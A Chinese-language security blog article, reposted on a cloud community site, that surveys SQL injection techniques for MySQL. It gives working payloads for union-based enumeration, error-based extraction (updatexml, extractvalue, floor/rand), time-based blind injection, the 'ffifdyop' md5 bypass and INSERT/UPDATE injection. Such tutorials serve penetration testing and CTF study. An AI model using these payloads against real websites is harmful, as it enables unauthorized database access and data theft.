前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入的常规思路及奇葩技巧

SQL注入的常规思路及奇葩技巧

作者头像
信安之路
发布2018-08-08 11:25:21
1.5K0
发布2018-08-08 11:25:21
举报
文章被收录于专栏:信安之路

最近在看《SQL注入攻击与防御》这本书,看了之后感觉自己之前的视野和格局还是太小了些。SQLi的应用特别广泛,多种web数据库不说,移动安卓端也存在通用的SQLi。而从语言的角度来看~PHP/JAVA/PYTHON/C#等等~都可以与SQLi联系起来,由语言特性而衍生的SQLi种类。最近还听说Javascript也能写后端了,着实把我高兴坏了,看来PHP这“世界上最好的语言”的称号,要换主了~ 同是弱类型语言,这俩哥们怕是要一绝“高低”。

废话说到这里,由于SQLi体系扩展还没有完成,所以在这里算是总结一下之前学到的一些东西和技巧,希望能对大家有用。

一、 常规思路

这里是我自己用的一些常规的测试并利用流程,如有疑问,欢迎讨论:

数据回显注入

  1. 针对可疑的注入点进行测试,测试方式根据数据库类型的不同也有所不同: SQLi备忘录:http://pentestmonkey.net/category/cheat-sheet/sql-injection 这位国外大牛收集了7种数据库的测试备忘录,非常全~
  2. 测试源语句查询字段数 使用order by 语法,确定字段数。这个语句的意思是按照第n列排序,若order by 8正常,order by 9报错的话就表示原查询语句查询结果为9列。
  3. 确定显示位 可以先尝试用select 1,2,3,4,5……,n#来检测,然后直接找相应数字出现的位置即可。之后的查询语句,最好用@或者NULL,类似 select @,@,@# select NULL,NULL,NULL# 可以保证不会因为数据类型不匹配而测试失败; PS:union 查询需要保证前后两个语句的查询列数相同,以及数据类型相同或相似。前者可以通过order by和其它姿势探测,后者使用NULL、@来避免。
  4. 查询数据库名 SELECT group_concat(schema_name) FROM information_schema.schemata 这里及以下的代码只是一个基本思路,可以在这个的基础上去变形、扩展。
  5. 查询表名 select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’
  6. 查询列名 Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’
  7. 爆数据 Select group_concat(column_name) from table_name; 报错注入
  8. group by 报错原理 http://www.jinglingshu.org/?p=4507 语法 `and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);`
  9. ExtractValue 报错原理 http://wt7315.blog.51cto.com/10319657/1891458 语法 `and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));`
  10. UpdateXml 报错原理 http://wt7315.blog.51cto.com/10319657/1891458 语法 `and 1=(updatexml(1,concat(0x3a,(select user())),1))`
  11. NAME_CONST 报错原理 http://www.2cto.com/article/201203/121491.html 语法 `and+1=(select+*+from+(select+NAME_CONST(PAYLOAD,1),NAME_CONST(PAYLOAD,1))+as+x)`
  12. join 原理 http://www.jinglingshu.org/?p=4507 语法 `select * from(select * from mysql.user a join mysql.user b using(Host))c;(爆列名贼好用)` 时间盲注和布尔盲注 这个比较灵活,我遇到的案例也很少,只能介绍些常用的小技巧: 盲注比较方法 运算符比较 'abc'>'abd' 为TRUE hint:字母间比较为按照字母表顺序进行,字母与非字母字符之间则按照ascii码进行比较,所以可以通过0x5b-0x60中的一个非字母字符,来判断字母的大小写。 函数 ascii() greatest() 返回参数中最大的数 时间盲注函数 sleep() benchmark() select id(条件,sleep(10),false); select CASE WHEN 1=1 THEN true ELSE flase END 奇葩技巧

类型转换绕过

原理如下:

为什么查询password=0的数据时会将这些内容输出出来呢? 原因是mysql内在对比的时候进行了类型的转换,而字符串在转换为数字时,只会保留根据字符串开头的数字,如果第一位为字母而不是数字,则转换为0,而’9hehehehe’会被转换为9。 但这个技巧不能直接在实战中应用,因为真实代码中类似以下代码: select username,password from user where username = '$username' and password = '$password'; 变量用单引号括了起来,这样一来我们输入的数字0就会被转换为字符串0; 那怎么利用呢?用算术运算符,位运算符或者比较运算符。 可以看这个: Mysql中的运算符集合 以加法举例,使用方式为: ‘+’, 拼接到SQL后的语句:where username=’’+’’ 即将单引号闭合后进行字符串相加,也就自然转换为了数字。 其它运算符的使用也是想通的。

md5注入

可能有时会遇到这样的注入语句: $sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'"; 用户名定死,再对输入进行md5编码,这样好像就没办法注入了。但其实不然,因为当md5函数的第二个参数为True时,编码将以16进制返回,再转换为字符串。而字符串’ffifdyop’的md5加密结果为'or'<trash> 其中 trash为垃圾值,or一个非0值为真,也就绕过了检测。 详情可以看这个md5第二个参数带来的安全问题

Updata 和 Insert注入

当注入点为Updata 或 Insert,并且不能通过堆叠注入构造自己新的注入语句的时候,仍有以下三种方式可以获取数据:

1. 闭合后构造

假设有以下注入语句: insert into users values (17,'注入点', 'bond'); 若第一个参数可控,则可以将注入点闭合后,在后面使用不被单引号闭合的select语句,将查询结果插入表中,然后再想办法通过正常途径查看。

2. 数字相加

还是这个注入语句 insert into users values (17,'join', '注入点'); 只是注入点变为了第二个,这样的话,就不能同闭合直接构造。但可以通过把想要获取的数据转换为数字,然后与原字符串相加,获取数字后再还原回来。 和上面的类型转换知识点相似,’sdasdsad’+1 = 1 具体构造过程可以看安全客上的一篇文章 一种新的MySQL下Update、Insert注入方法 最后的注入结果: insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);

3. 构造错误

对于非SELECT注入,如果成功执行的话会修改数据库数据。实战过程中不但会破坏数据库结构(白帽子挖洞的时候很可能因为这个违法),还容易引起管理员注意。所以在不让SQL语句正常执行的情况下获取数据是最好的方法。 报错盲注就不多说了,看常规部分(本文上篇)的介绍就可以。 但大部分的网站是不会傻到让你看错误回显的。 这个时候就需要时间盲注了: 比如下列注入语句 INSERT INTO table 1 VALUES (‘注入点’); 向注入点注入 '+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + ' 整个语句就会变为 INSERT INTO table 1 VALUES (''+ SELECT (SELECT CASE WHEN @@version LIKE '5.1.56%' THEN SLEEP(5) ELSE 'somevale' END FROM ((SELECT 'value1' AS foobar) UNION (SELECT 'value2' AS foobar) ALIAS) + ''); 因为返回了多列数据,该insert语句并不会执行,但是内部的select语句和sleep函数会照常执行,这样一来,也就可以通过写脚本获取数据了。 其中+为字符串连接符,根据数据库类型不同,连接符也不同,加号为SQL里的连接符,在mysql中并不适用,这里只是举个例子。

SQL约束性攻击

上篇CTF文章好像说过,之后我又找到了一篇解释得更清楚的文章: 基于约束条件的SQL攻击 可以学习一波。 这种漏洞就属于数据库安全配置错误;有一篇文章是专门讲数据库安全配置的,想走运维以及CTF的web出题人(防止预期之外的解)可以看一下: MySQL安全配置

结束

除了以上的,还有一些东西,但有些是之前写过的,有些是还没有测试过的,这次就不发出来了。关于SQLi,正在总结一个各种姿势的思维导图,总结好了之后,希望大家前来赏光。

参考文献:

http://bobao.360.cn/learning/detail/3804.html http://bobao.360.cn/learning/detail/3758.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-07-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、 常规思路
    • 数据回显注入
      • 类型转换绕过
        • md5注入
          • Updata 和 Insert注入
            • 1. 闭合后构造
            • 2. 数字相加
            • 3. 构造错误
          • SQL约束性攻击
            • 参考文献:
        • 结束
        相关产品与服务
        数据库
        云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档